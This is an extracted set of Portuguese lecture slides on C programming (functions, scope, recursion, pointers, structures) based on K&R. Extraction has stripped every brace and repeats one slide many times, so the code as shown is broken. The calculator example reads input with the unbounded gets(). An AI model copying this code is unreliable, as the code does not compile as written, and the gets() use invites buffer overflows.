return 1;
return 0;
AED 2003/2004 – p.160/554
Ordenar Vector Composto por 0’s e 1’s
Dado vector com n elementos, em que cada entradatem valor 0 ou 1, realizar algoritmo para ordenar vector
AED 2003/2004 – p.161/554
Ordenar Vector Composto por 0’s e 1’s
/* Ordena vector de 0’s e 1’s */
int sort01(int tab[], int size)
int i, j, tmp;
for (i=0, j=size-1; i < j; )
while (tab[i] == 0 && i <= j)
i++;
while (tab[j] == 1 && i <= j)
j--;
if (i <= j)
tmp = tab[i];
tab[i] = tab[j];
tab[j] = tmp;
AED 2003/2004 – p.162/554
Ordenar Vector Composto por 0’s e 1’s
Algoritmo apresentado não é estável:Ordem relativa dos 0’s (ou dos 1’s) não é mantida
Problema: desenvolver algoritmo estável para ordenarvector composto por 0’s e 1’s
AED 2003/2004 – p.163/554
Parte IV
K&R Cap. 4
AED 2003/2004 – p.164/554
Funções e Estrutura de Programas
Funções
Variáveis Externas
Regras de Scope
Ficheiros de Cabeçalho
Variáveis Estáticas
Variáveis de Registo
Estrutura de Blocos
Inicialização
Recursão
O Preprocessador do C
AED 2003/2004 – p.165/554
Funções
Programa C composto por uma função main obrigatóriae por um conjunto de funções
Funções permitem a realização de funcionalidadesbem definidas
factorial, combinacoes, lerlinha, ordenacao, etc.
Funções organizadas por ficheiros, normalmente com opropósito de realizar um conjunto de funcionalidadesrelacionado
bibliotecas de I/Oestruturas de dados dedicadasetc.
AED 2003/2004 – p.166/554
Funções
tipo-retorno nome-funcao(declaracoes-argumentos)
declaracoes e instrucoes
Exemplo mais simples:
nada()
AED 2003/2004 – p.167/554
Funções – Retorno de Valores
Instrução return:Instrução que permite retornar um valor da funçãochamada à função que a chamareturn expressao;
Valor de expressão convertido para o valor deretorno função
Problema: função para converter string em double?
AED 2003/2004 – p.168/554
Converter String em Double
#include <ctype.h>
/* atof: converte string s em double */
double atof(char s[])
double val, power;
int i, sign;
for (i=0; isspace(s[i]); i++) /* salta espaco em branco */
;
sign = (s[i] == ’-’) ? -1 : 1;
if (s[i] == ’-’ || s[i] == ’+’)
i++;
for (val=0.0; isdigit(s[i]); i++)
val = 10.0 * val + (s[i] - ’0’);
if (s[i] == ’.’)
i++;
for (power=1.0; isdigit(s[i]); i++)
val = 10.0 * val + (s[i] - ’0’);
power *= 10.0;
return sign * val / power;
AED 2003/2004 – p.169/554
Uma Calculadora Simples
#include <stdio.h>
#define MAXLINE 100
/* calculadora simples */
main()
double sum, atof(char s[]);
char line[MAXLINE];
sum = 0;
while (gets(line) > 0) /* Ler linha */
printf("\t%g\n", sum += atof(line));
return 0;
AED 2003/2004 – p.170/554
Variáveis Externas
Um programa C é composto por conjunto de objectosexternos, que podem ser variáveis ou funções
Variáveis externas podem ser utilizadas por qualquerfunção
Variáveis internas, definidas como argumentos ouinternamente a uma função, apenas podem serutilizadas dentro da função
Exemplo:#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
void pushd(int value)
...
st_value[++st_top] = value;
...
AED 2003/2004 – p.171/554
Organização de Programas C
Programas normalmente dividos em vários ficheiros
Cada ficheiro permite implementar conjunto defuncionalidades relacionadas
Exemplo: Pilha de Valores Inteiros – ficheiro istack.c
/* implementacao de pilha de valores */
#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
/* guarda valor na pilha */
void push(int value) ...
/* devolve ultimo valor guardado */
int pop() ...
/* verifica se esta vazio */
int is_emtpy() ...
/* verifica se esta cheio */
int is_full() ... AED 2003/2004 – p.172/554
Regras de Scope
Scope de um nome: parte do programa onde nomepode ser utilizado
Variáveis automáticas/parâmetros de funções: scope éa função onde são declarados
Variáveis são conhecidas desde o ponto em que sãodefinidas até ao fim do ficheiro em causa
Variáveis externas, utilizadas antes de serem definidas,ou definidas noutro ficheiro, deverão declaradas com apalavra-chave extern
AED 2003/2004 – p.173/554
Regras de Scope
Uma variável externa é definida quando são indicadasas propriedades da variável, e quando sãoespecificados os seus requisitos em termos dememória:int a;
Uma variável externa é declarada quando apenas sãoindicadas as suas propriedades:extern int b;
Uma variável apenas pode ter uma definição, emborapossa ser declarada várias vezes
Dimensão de um array obrigatória na definição doarray, mas opcional na declaraçãoInicialização de uma variável externa apenas podeter lugar na definição da variável
AED 2003/2004 – p.174/554
Ficheiros de Cabeçalho
São utilizados para incluirem todas as declaraçõespartilhadas por mais de um ficheiro
Exemplo: Pilha de Valores Inteiros – ficheiro istack.h
/* implementacao de pilha de valores */
extern int st_value[];
extern int st_top;
/* guarda valor na pilha */
extern void push(int value);
/* devolve ultimo valor guardado */
extern int pop();
/* verifica se esta vazio */
extern int is_emtpy();
/* verifica se esta cheio */
extern int is_full();
AED 2003/2004 – p.175/554
Variáveis Estáticas
Limita scope de uma variável entre ponto da definição efim do ficheiro onde definição ocorre
Para variáveis automáticas utilização do qualificadorstatic permite manter o valor da variável entrechamadas à função
Variáveis externas definidas como estáticas permitemlimitar o seu scope ao ficheiro em que são definidas#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
Funções também podem ser definidas como estáticas:Limita scope da função entre ponto da definição efim do ficheiro onde definição ocorre
AED 2003/2004 – p.176/554
Exemplo: istack.h
extern void push(int value);
extern int pop();
extern int is_empty();
extern int is_full();
AED 2003/2004 – p.177/554
Exemplo: istack.c
#include <stdio.h>
#include <stdlib.h>
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
void push(int value)
if (st_top >= MAXVALUE-1)
printf("Stack is full. Terminating...\n"); exit(1);
st_value[++st_top] = value;
int pop()
if (st_top == -1)
printf("Stack is empty. Terminating...\n"); exit(1);
return st_value[st_top--];
int is_empty() return st_top == -1;
int is_full() return st_top == MAXVALUE-1; AED 2003/2004 – p.178/554
Exemplo: istack.c (Outra Solução)
#include <stdio.h>
#include <stdlib.h>
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
void push(int value)
if (!is_full())
st_value[++st_top] = value;
int pop()
if (!is_empty())
return st_value[st_top--];
return -1;
int is_empty() return st_top == -1;
int is_full() return st_top == MAXVALUE-1; AED 2003/2004 – p.179/554
Variáveis de Registo
Indicação de que a variável pretende ser utilizadaextensivamente
Declaração apenas pode ser utilizada em variáveisautomáticas ou nos parâmetros formais de funções
Compete ao compilador utilizar (ou não) informaçãosobre variáveis de registo
Exemplo:
register int i;
for (i=0; i<valor_max; i++)
...
...
AED 2003/2004 – p.180/554
Estrutura de Blocos
No C não é possível definir funções dentro de outrasfunções
O C não é uma linguagem baseada em blocos
Definição de variáveis pode ser orientada paraestrutura de blocosDeclarações de variáveis podem estar localizadas apósinício de uma instrução composta
Variáveis automáticas de um bloco são inicializadassempre que bloco é executadoVariáveis estáticas são inicializadas da primeira vezque o bloco da instrução é executado
AED 2003/2004 – p.181/554
Inicialização
Variáveis externas e estáticas inicializadas a 0Valor de incialização é resultado de expressãoconstante
Variáveis automáticas e de registo inicializadas comvalor indefinido
Expressão que define valor de incialização podeenvolver quaisquer valores já previamente definidos
AED 2003/2004 – p.182/554
Inicialização de Vectores
Vectores podem ser inicializados especificando lista devalores de inicialização, entre chavetas e separadospor vírgulasint vect[] = 1, 3, 5, 7 ;
Se dimensão do vector não especificada, então utilizavalores de inicialização para definir o tamanho dovector
Strings podem ser inicializadas como strings ou comoconjuntos de caracteres
AED 2003/2004 – p.183/554
Recursão
Função recursiva permite ser chamada a partir delaprópria
Recursão pode ser substituída por iteraçãoIteração normalmente mais eficienteRecursão é por vezes mais intuitiva
AED 2003/2004 – p.184/554
Escrever String por Ordem Inversa
/* Funcao para escrever string por ordem inversa */
void print_string(char v[], int idx)
if (v[idx] != ’\0’)
print_string(v, idx+1);
printf("%c", v[idx]);
AED 2003/2004 – p.185/554
Procura Binária (Com Recursão)
/* procura_binaria: encontra x em v[0] <= v[1] <= ... <= v[n-1] */
int procura_binaria(int x, int v[], int m, int n)
int mid;
if (m <= n)
mid = (m + n) / 2;
if (x < v[mid])
return procura_binaria(x, v, m, mid-1);
else if (x > v[mid])
return procura_binaria(x, v, mid+1, n);
else
return mid; /* valor encontrado */
return -1; /* nao existe */
AED 2003/2004 – p.186/554
QuickSort (Com Recursão)
static void swap(int v[], int i, int j)
int temp = v[i]; v[i] = v[j]; v[j] = temp;
static int partition(int v[], int l, int r)
int i = l-1, j = r;
int x = v[r];
for(;;)
while(v[++i] < x) ;
while(v[--j] > x)
if (j == l) break;
if (i >= j) break;
swap(v, i, j);
swap(v, i, r);
return i;
(cont.)AED 2003/2004 – p.187/554
QuickSort (Com Recursão)...
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int l, int r)
int i;
if (l >= r) return;
i = partition(v, l, r);
qsort(v, l, i-1);
qsort(v, i+1, r);
AED 2003/2004 – p.188/554
O Preprocessador do C
Inclusão de ficheiros:#include ¨xxx.h¨
Substituição de macros:#define max(x,y) ((x) >= (y) ? (x) : (y))
Inclusão condicional:#if !defined HEADER
#define HEADER
...
#endif
AED 2003/2004 – p.189/554
QuickSort (Versão 2)
#define swap(v, i, j) int temp = v[i]; v[i] = v[j]; v[j] = temp;
static int partition(int v[], int l, int r)
int i = l-1, j = r;
int x = v[r];
for(;;)
while(v[++i] < x) ;
while(v[--j] > x)
if (j == l) break;
if (i >= j) break;
swap(v, i, j);
swap(v, i, r);
return i;
(cont.)
AED 2003/2004 – p.190/554
QuickSort (Versão 2)...
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int l, int r)
int i;
if (l >= r) return;
i = partition(v, l, r);
qsort(v, l, i-1);
qsort(v, i+1, r);
AED 2003/2004 – p.191/554
QuickSort (Versão 3)
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int left, int right)
int i, last;
void swap(int v[], int i, int j);
if (left >= right) /* terminar se n
de elementos < 2 */
return;
swap(v, left, (left+right)/2); /* definir elemento para particionar */
last = left;
for (i=left+1; i<=right; i++)
if (v[i] < v[left])
swap(v, ++last, i);
swap(v, left, last); /* recolocar elemento utilizado na particao */
qsort(v, left, last);
qsort(v, last+1, right);
AED 2003/2004 – p.192/554
Problema – Fila de Inteiros
Definir a estrutura de dados e as funções paraimplementar uma fila de inteiros
AED 2003/2004 – p.193/554
Implementação de Fila de Inteiros
#define MAXQUEUE 10
static int iqueue[MAXQUEUE];
static int put_idx = 0;
static int get_idx = 0;
void queue(int value)
iqueue[put_idx++] = value;
if (put_idx == MAXQUEUE) put_idx = 0;
int dequeue()
int rvalue = iqueue[get_idx++];
if (get_idx == MAXQUEUE) get_idx = 0;
return rvalue;
int is_full()
return (put_idx==get_idx-1) || (get_idx==0 && put_idx==MAXQUEUE-1);
int is_empty() return put_idx == get_idx; AED 2003/2004 – p.194/554
Fila Generalizada de Inteiros
Implementar uma estrutura de dados que permite asseguintes operações:
push(int):Coloca valor no fim da fila de valorespop:Retira valor do fim da fila de valoresunshift(int):Coloca valor no início da fila de valoresshift:Retira valor do início da fila de valoresis_empty():Indica se a fila está vaziais_full():Indica se a fila está cheia
AED 2003/2004 – p.195/554
Parte V
K&R Cap. 5
AED 2003/2004 – p.196/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e tabelas
Endereços e ponteiros
Ponteiros e argumentos de funções
Ponteiros e tabelas
Aritmética de endereços
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicialização de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funções
AED 2003/2004 – p.197/554
Ponteiros e endereços
Um ponteiro representa um endereço de memória
O operador unário & aplicado a x representa oendereço de x
#include <stdio.h>
main ()
int y,x=3;
int *px = &x;
y = *px;
*px = 0;
printf("%d %d\n",x,y);
AED 2003/2004 – p.198/554
Utilização de ponteiros
*px pode ser usado em vez de x
A declaração int *xpto() significa que xpto() retorna umponteiro para um inteiro
A declaração void abcd(char *) significa que a função abcdaceita como argumento um ponteiro para caracteres
A prioridade de & e * é superior à dos operadoresaritméticos
y = *px + 1 funciona como esperado
++*px incrementa o valor de x
(*px)++ (os parênteses são necessários)
AED 2003/2004 – p.199/554
Passagem de parâmetros para funções
Em C, os parâmetros são passados por valor
swap(int a, int b)
int aux;
aux = a;
a = b;
b = aux;
Não funciona como pretendido
AED 2003/2004 – p.200/554
Passagem de parâmetros por referência
Passagem por referência consegue-se enviando osendereços
swap(int *a, int *b)
int aux;
aux = *a;
*a = *b;
*b = aux;
Chamada deverá ser swap(&x, &y)
AED 2003/2004 – p.201/554
Leitura de um inteiro
#include <ctype.h>
#include <stdio.h>
int getch(void);
void ungetch(int);
/* getint: get next integer from input into *pn */
int getint(int *pn)
int c, sign;
while (isspace(c = getch())) ; /* skip white space */
if (!isdigit(c) && c != EOF && c != ’+’ && c != ’-’)
ungetch(c); /* it is not a number */
return 0;
sign = (c == ’-’) ? -1 : 1;
if (c == ’+’ || c == ’-’) c = getch();
for (*pn = 0; isdigit(c); c = getch())
*pn = 10 * *pn + (c - ’0’);
*pn *= sign;
if (c != EOF) ungetch(c);
return c;
AED 2003/2004 – p.202/554
Ponteiros e tabelas
Em C, existe uma relação entre ponteiros e tabelas
int a[10];
int *pa;
int x;
int i = 3;
pa = &a[0]; /* pa fica a apontar para a[0] */
x = *pa; /* Copia o conteudo de a[0] para x */
x = *(pa+1); /* Copia para x o conteudo de a[1] */
x = *(pa+i); /* Copia para x o conteudo de a[i] */
strlen(”Hello world”); /* string constant */
strlen(arr); /* char array[100] */
strlen(ptr); /* char *ptr */
AED 2003/2004 – p.203/554
Exemplo
/* strlen: return length of string s */int strlen(char *s)
int n;
for (n = 0; *s != ’\0’; s++)n++;
return n;
AED 2003/2004 – p.204/554
Representação do endereço zero
Ponteiro especial para representar zero.
int *y;
y = NULL;...if (!y) /* problem handling code */ ...
AED 2003/2004 – p.205/554
Ponteiros e tabelas
A declaração int *p; declara o mesmo que int p[];
A declaração int p[100]; declara uma tabela com 100inteiros;
A declaração int *p não aloca qualquer espaço;
A função malloc(int size) aloca um espaço de dimensãosize
A declaração int *p = malloc(100*sizeof(int)); é equivalentea int p[100];
O espaço pode ser libertado com a chamada free(p);
AED 2003/2004 – p.206/554
Ponteiros para caracteres
Uma constante do tipo string "Hello world" é uma tabelade caracteres
char *pmessage;
pmessage = "Hello world";/* Copia apenas os ponteiros */
As declarações
char amessage[] = "Hello world";char *pmessage = "Hello world";
São diferentes. Porquê ?AED 2003/2004 – p.207/554
Ponteiros para caracteres
/* strcpy: copy t to s; array subscript version */
void strcpy(char *s, char *t)
int i;
i = 0;
while ((s[i] = t[i]) != ’\0’)
i++;
/* strcpy: copy t to s; pointer version */
void strcpy(char *s, char *t)
while ((*s = *t) != ’\0’)
s++;
t++;
AED 2003/2004 – p.208/554
Strcpy: versão 3
/* strcpy: copy t to s; pointer version 2 */
void strcpy(char *s, char *t)
while ((*s++ = *t++));
AED 2003/2004 – p.209/554
Mais funções para strings
/* strcmp: return <0 if s<t, 0 if s==t, >0 if s>t */
int strcmp(char *s, char *t)
for ( ; *s == *t; s++, t++)
if (*s == 0)
return 0;
return *s - *t;
AED 2003/2004 – p.210/554
Tabelas de ponteiros
Exemplo: ordenação de cadeias de caracteres
Usa-se mesmo algoritmo que para ordenação deinteiros
Evita-se copiar strings usando tabelas de ponteiros
Usa-se mesmo algoritmo que para ordenação deinteiros
Evita-se copiar strings usando tabelas de ponteiros
int i;
/* Representa uma tabela de ponteiros para caracteres */
char *lineptr[MAXLINES];
readlines(lineptr,MAXLINES);
for (i=0; i< MAXLINES; i++)
printf("Linha %d e %s\n",i,lineptr[i]);AED 2003/2004 – p.211/554
Ler e guardar linhas
/* readlines: le linhas de entrada */
int readlines(char *lineptr[], int maxlines)
int len, nlines;
char *p, line[MAXLEN];
nlines = 0;
while ((len = getline(line, MAXLEN)) > 0)
if (nlines >= maxlines || (p = malloc(len)) == NULL)
return -1;
else
line[len-1] = ’\0’; /* delete newline */
strcpy(p, line);
lineptr[nlines++] = p;
return nlines;
AED 2003/2004 – p.212/554
Ler, ordenar e imprimir linhas
#include <stdio.h>
#include <string.h>
#define MAXLINES 5000
char *lineptr[MAXLINES]; /* Tabela de ponteiros */
int readlines(char *lineptr[], int nlines);
void writelines(char *lineptr[], int nlines);
void qsort(char *lineptr[], int left, int right);
main()
int nlines;
if((nlines = readlines(lineptr, MAXLINES)) >= 0)
qsort(lineptr, 0, nlines-1);
writelines(lineptr, nlines);
return 0;
else
printf("error: input too big to sort\n");
return 1;
AED 2003/2004 – p.213/554
Quick sort para strings
void qsort(char *v[], int left, int right)
int i, last;
void swap(char *v[], int i, int j);
if(left >= right)
return;
swap(v, left, (left + right)/2);
last = left;
for(i = left+1; i <= right; i++)
if(strcmp(v[i], v[left]) < 0)
swap(v, ++last, i);
swap(v, left, last);
qsort(v, left, last-1);
qsort(v, last+1, right);
AED 2003/2004 – p.214/554
Troca e impressão de linhas
/* swap: swap v[i] and v[j] */
void swap(char *v[], int i, int j)
char *tmp;
tmp = v[i];
v[i] = v[j];
v[j] = tmp;
void writelines(char *lineptr[], int nlines)
int i;
for(i=0; i<nlines; i++)
printf("%s\n", lineptr[i]);
AED 2003/2004 – p.215/554
Tabelas multi-dimensionais
A declaração int x[NROWS][NCOLS] declara uma matriz
É equivalente a int *x[NCOLS]
Elemento na linha i e coluna j é x[i][j]
int x[NROWS][NCOLS] aloca o espaço NROWS*NCOLS
int *x[NCOLS] aloca o espaço para NCOLS ponteiros
Na prática, ponteiros para tabelas são mais usados
Qualquer número de dimensões pode ser usado
Primeira dimensão pode não ser especificada
AED 2003/2004 – p.216/554
Inicialização de tabelas de ponteiros
/* month_name: devolve nome do i-esimo mes */
char *month_name(int n)
/* Inicializa tabela de ponteiros */
static char *name[] =
"Illegal month",
"January", "February", "March",
"April", "May", "June",
"July", "August", "September",
"October", "November", "December"
;
return (n < 1 || n > 12) ? name[0] : name[n];
AED 2003/2004 – p.217/554
Argumentos da linha de comandos
argv[0] é o nome do programa
argv[i] é i-ésimo argumento
Programa "echo"
echo hello world gera hello world
main(int argc, char *argv[]) int i;
for(i=1; i<argc; i++)printf("%s ",argv[i]);
printf("\n");return 0;
AED 2003/2004 – p.218/554
Ponteiros para funções
É possível declarar ponteiros para funções
Uma função pode ser passada como argumento paraoutra
/* Funcao qsort generica */
void qsort(char *v[],int left, int right, int (*comp)(char *, char *);
...
if ((*comp)(v[i],v[j]))
...
/* Uso da funcao qsort */
char *lineptr[MAXLINES]; /* Tabela de ponteiros */
int strcmp(char *, char *);
...
qsort(lineptr, 0, nlines-1, strcmp); /*Funcao strcmp como argumento*/
AED 2003/2004 – p.219/554
Multiplicação de Matrizes
#include <stdlib.h>
#define MATDIM 500
int matA[MATDIM][MATDIM], matB[MATDIM][MATDIM], matC[MATDIM][MATDIM];
void init()
int i, j;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
matA[i][j] = i+j; matB[i][j] = i-j;
void prod()
/* funcao para multiplicar matrizes A e B */
(cont.)
AED 2003/2004 – p.220/554
Multiplicação de Matrizes
int sum()
int i, j, sum = 0;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
sum += matC[i][j];
return sum;
main()
init();
prod();
printf("Soma: %d\n", sum());
AED 2003/2004 – p.221/554
Versão 1
void prod()
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
matC[i][j] = 0;
for (k=0; k<MATDIM; ++k)
matC[i][j] += matA[i][k] * matB[k][j];
AED 2003/2004 – p.222/554
Versão 2
void prod()
int i, j, k;
for (i=0; i<MATDIM; ++i)
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j)
int *pC = &(matC[i][j]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * matB[k][j];
AED 2003/2004 – p.223/554
Versão 3 – Com Novo init()
void init()
int i, j;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
matA[i][j] = i+j;
matB[j][i] = i-j;
void prod()
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
int *pA = &(matA[i][0]);
int *pB = &(matB[j][0]);
int *pC = &(matC[i][j]); *pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA++) * *(pB++);
AED 2003/2004 – p.224/554
Versão 4
void prod()
int i, j, k;
for (i=0; i<MATDIM; ++i)
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j)
int *pC = &(matC[i][j]);
int *pB = &(matB[j][0]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * *(pB+k);
AED 2003/2004 – p.225/554
Versão 5
void prod()
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
int *pC = &(matC[i][j]);
int *pA = &(matA[i][0]);
int *pB = &(matB[j][0]);
int *pF = pA + MATDIM;
*pC = 0;
for (; pA<pF; )
*pC += *(pA++) * *(pB++);
AED 2003/2004 – p.226/554
Tempos de Execução
Versão 1: 1.74s
Versão 2: 1.96s
Versão 3: 0.55s
Versão 4: 0.55s
Versão 5: 0.54s
AED 2003/2004 – p.227/554
Stack de Inteiros com Tabela Dinâmica
Utilizar tabela dinâmica para implementar stack devalores inteiros com tamanho arbitrário
AED 2003/2004 – p.228/554
istack.h
extern void st_init();
extern void st_push(int value);
extern int st_pop();
extern int st_is_empty();
AED 2003/2004 – p.229/554
istack.c – Versão 1
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int st_top;
static int st_max;
static void increase_stack_size()
int i, *ptmp = st_value, *pa, *pb, *pf;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value, pf=st_value+st_top; pb<=pf; )
*(pb++) = *(pa++);
free(ptmp);
(cont.)AED 2003/2004 – p.230/554
istack.c – Versão 1
void st_init()
st_top = -1;
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
void st_push(int value)
if (st_top >= st_max-1) increase_stack_size();
st_value[++st_top] = value;
int st_pop()
if (!st_is_empty()) return st_value[st_top--];
return -1;
int st_is_empty()
return st_top == -1;
AED 2003/2004 – p.231/554
istack.c – Versão 2
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int *st_sup;
static int st_max;
static void increase_stack_size()
int i, *ptmp = st_value, *pa, *pb;
int diff = st_sup - st_value;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value; pa<st_sup; )
*(pb++) = *(pa++);
free(ptmp);
st_sup = st_value + diff;
AED 2003/2004 – p.232/554
istack.c – Versão 2
void st_init()
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
st_sup = st_value;
void st_push(int value)
if (st_sup == st_value+st_max)
increase_stack_size();
*(st_sup++) = value;
int st_pop()
if (!st_is_empty()) return *(--st_sup);
return -1;
int st_is_empty()
return st_sup == st_value;
AED 2003/2004 – p.233/554
AED 2003/2004 – p.234/554
Parte VI
K&R Cap. 6
AED 2003/2004 – p.235/554
Estruturas
Introdução às Estruturas
Estruturas e Funções
Vectores de Estruturas
Apontadores para Estruturas
Estruturas Auto-Referenciadas
Typedef
Exemplos:
Tópicos: Unions e Bit-Fields
AED 2003/2004 – p.236/554
Introdução
As estruturas permitem definir estruturas de dadossofisticadas, as quais possibilitam a agregação dediferentes tipos de declarações
Exemplo:struct point
int x;
int y;
É possível declararar variáveis do tipo estruturastruct point x, z;
É possível manipular os campos de variáveis do tipoestruturax.x = 1;
x.y = 2;
z.x = 10;
z.y = 20;AED 2003/2004 – p.237/554
Operações sobre Estruturas
Declaração:struct point
int x;
int y;
Introduz um novo tipo de dados
Definição:struct point z;
Define a variável z como uma estrutura do tipo structpointInicialização: tipo nome = valores
struct point z = 100, 200 ;
AED 2003/2004 – p.238/554
Operações sobre Estruturas
Manipulação: nome-estrutura.membroz.x = 125; z.y = 500;
Estruturas podem incluir estruturas:struct rect
struct point a, b;
;
struct rect p;
...
p.a.x = 25;
p.b.y = 32;
Operações válidas: cópia, atribuição como entidade,acesso ao endereço ou acesso aos seus membros
Cópia e atribuição incluem passagem de parâmetrospara funções e retorno de valores de funções
Estruturas não podem ser comparadasAED 2003/2004 – p.239/554
Estruturas e Funções
Funções podem retornar estruturas:struct point makepoint(int x, int y)
struct point temp;
temp.x = x;
temp.y = y;
return temp;
Função retorna cópia da estrutura temp
AED 2003/2004 – p.240/554
Estruturas e Funções
Passagem de estruturas como parâmetros é feita porvalor:struct point addpoint(struct point p1, struct point p2)
p1.x += p2.x;
p1.y += p2.y;
return p1;
Chamada addpoint(pa, pb) não altera valoresda estrutura pa
AED 2003/2004 – p.241/554
Estruturas, Funções e Ponteiros
Passagem de estruturas grandes como parâmetros éineficienteUtilizam-se normalmente ponteiros para estruturas:struct point origin, *pp;
pp = &origin;
printf(¨Origem: (%d, %d)\n¨, (*pp).x, (*pp).y);
Notação (*pointer).struct-member pode sersubstituída por pointer->struct-member
struct point origin, *pp;
pp = &origin;
printf(¨Origem: (%d, %d)\n¨, pp->x, pp->y);
AED 2003/2004 – p.242/554
Vectores de Estruturas
Permitem representar conjuntos de dados agregados:
struct key
char *word; /* palavra-chave */
int count; /* # ocorrencias de palavra-chave */
keytab[NKEYS]; /* Vector de estruturas */
ou,
struct key
char *word; /* palavra-chave */
int count; /* # ocorrencias de palavra-chave */
;
struct key keytab[NKEYS]; /* Vector de estruturas */
AED 2003/2004 – p.243/554
Vectores de Estruturas
Inicialização:struct key
char *word; /* palavra-chave */
int count; /* # ocorrencias de palavra-chave */
keytab[] =
¨auto¨, 0 ,
¨break¨, 0 ,
¨case¨, 0 ,
...
;
Chavetas interiores desnecessárias na inicializaçãode estruturas compostas apenas por variáveissimples ou strings
AED 2003/2004 – p.244/554
Contador de Palavras Chave
Escrever um programa em C que conta o número deocorrências de cada palavra-chave da linguagem C
#include <stdio.h>
#include <ctype.h>
#include <string.h>
struct key
char *word; /* palavra-chave */
int count; /* # ocorrencias de palavra-chave */
keytab[] =
"auto", 0 ,
"break", 0 ,
...
;
#define NKEYS 24
#define MAXWORD 100
int getword(char *, int);
int binsearch(char *, struct key *, int);
AED 2003/2004 – p.245/554
Contador de Palavras Chave
main() /* count "C" keywords */
int n;
char word[MAXWORD];
while (getword(word, MAXWORD) != EOF)
if (isalpha(word[0]))
if((n = binsearch(word, keytab, NKEYS)) >= 0)
keytab[n].count++;
for (n=0; n < NKEYS; n++)
if (keytab[n].count > 0)
printf("%4d %s\n", keytab[n].count, keytab[n].word);
AED 2003/2004 – p.246/554
Contador de Palavras Chave
/* find word in tab[0]...tab[n-1] */
int binsearch(char *word, struct key tab[], int n)
int low, high, mid, cond;
low = 0;
high = n - 1;
while (low <= high)
mid = (low+high) / 2;
if((cond = strcmp(word, tab[mid].word)) < 0)
